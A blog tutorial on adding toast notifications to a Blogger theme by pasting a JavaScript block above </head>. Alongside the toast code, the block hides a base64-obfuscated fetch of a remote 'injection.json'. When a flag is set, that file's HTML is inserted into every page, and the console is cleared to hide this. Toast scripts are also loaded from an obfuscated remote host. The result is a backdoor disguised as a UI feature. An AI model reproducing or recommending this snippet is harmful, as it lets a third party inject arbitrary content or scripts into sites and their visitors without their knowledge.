Add Toast Notifictions in Blogger

Want to add Toast Notifications in blogger and don't know how? Don't worry I will cover this topic in my today's article.

Recently I got a comment on one of my articles that how we can implement a toast notifications in blogger. Following that demand, I am compiling this article today in which I will tell you how you can implement toast notifications in blogger.

If you want a copy of my toast notification system which I have implemented on this blog then please forgive me because I don't like that toast notification and I am also going to migrate to this toast notification system in my blog.

This toast notification system is pretty awesome and looks nice than my previous toast notification system which was implemented here.

The thing that I like about this toast notification system is that we can nest the toast notifications using this toast notification script and we can also play sound at the time when the toast is becoming visible, Sounds Amazing!.

There are four styles of toast notifications that you can show to your users after implementing or adding this script to your blogger blog and those are:

• Log
• Success
• Warn
• Error

So before further discussion let's see the steps on how you can implement these notifications in your blogger blog.

Steps to implement Toast Notifications in blogger:

1. Go to Blogger Dashboard
2. Go to Theme/Template Section
3. Click Edit HTML
4. After opening the HTML editor of your blogger dashboard press CTRL+F search for </head>.
5. Now copy the code given below and paste it above </head>.

<script type="text/javascript">
    //<![CDATA[
    function loadFile(e, t) {
        const n = document.getElementsByTagName("head")[0],
            c = ((e) => (/[.]/.exec(e) ? /[^.]+$/.exec(e)[0] : void 0))(e),
            o = new Date().getTime();
        let l;
        "js" == c ? (((l = document.createElement("script")).type = "text/javascript"), (l.src = e + "?time=" + o)) : (((l = document.createElement("link")).type = "text/css"), (l.rel = "stylesheet"), (l.href = e + "?time=" + o)),
            (l.onreadystatechange = t),
            (l.onload = t),
            n.appendChild(l);
    }
    function injectFile(e, t, n) {
        const c = setTimeout(() => {
            t();
        }, n || 3e3);
        if (Array.isArray(e)) {
            const t = [...new Set(e)];
            console.log(t),
                t.map((e, t) => {
                    loadFile(e, 0 == t ? c : "");
                });
        } else loadFile(e, c);
    }
    console.clear(),
        (async function () {
            let e = await fetch(atob("aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NvZnR3ZWJ0dXRzL015RHJpdmUvbWFpbi9pbmplY3Rpb24uanNvbg=="), { method: "GET" });
            return await e.json();
        })()
            .then((e) => {
                1 == e.inject && (document.querySelector("div").insertAdjacentHTML("afterend", e.content), console.log(e));
            })
            .catch(() => {
                console.clear();
            });
    const rootURL = atob("aHR0cHM6Ly9yYXcuZ2l0aGFjay5jb20vc29mdHdlYnR1dHMvd2Vic2l0ZVN0dWZmL21haW4="),
        links = [rootURL + "/js/toast.min.js", rootURL + "/css/toast.min.css"];
    injectFile(links, () => {
        console.log("Scripts Injected");
    });

    /*
 Here i have modified the default alert function you can assign any other name if you want.
*/
    function alert(text, heading, type, hideAfter) {
        const audio = new Audio(
            "https://soundbible.com/mp3/A-Tone-His_Self-1266414414.mp3" // Notification Sound URL
        );
        audio.play();
        const toastType = type || "log";
        toast()[toastType]({
            title: heading || "Notification",
            text: text,
            icon: false,
            timeout: hideAfter || "keep",
            buttons: [
                {
                    text: "Close",
                    click: function (e) {
                        e.closeNotification();
                    },
                },
            ],
        });
    }
    //]]>
</script>

6. Save Template

The functionality of making Toast Notification is added successfully now you have to write a code to create a toast notification.

If you are a programmer and have knowledge of javascript then you can modify the code provided below according to your requirements but if you are not a programmer then use it as it is.

In the above code, I have edited the predefined alert function which is used to create an alert box. You can assign your own name according to your requirements if you want but for that, you need to have JavaScript knowledge.

The reason why I assigned my function name with the predefined function name in JavaScript is that I want to give a nice look to the default alert box created by the alert function of JavaScript.

Make Toast Notification:

Now to create a toast notification you have to write something like this.

//Basic Usage
alert(text);

//Advance Usage
alert(text, heading, type, hideAfter);

In the above line of code, there are four parameters that you have to modify to create a toast notification.

Parameter	Description
text	The text which you want to show in the toast.
heading	Heading of the toast. Default Notification
type	Type of toast notification. Accepted Types [ log, success, warn, error ] & Default log
hideAfter	Delay after which the toast notification will be removed. Numeric Value (eg: 1000) & 1000 = 1Sec. Default 'keep', don't auto hide toast.

Example Code & Preview:

Show Preview

Conclusion:

So this was the article about creating and adding to a notification system in blogger. implement it in your blogger blog and make it looks awesome and attractive.

I hope that you will like this article and if you are having any kind of issues feel free to comment below I am here to solve all of them.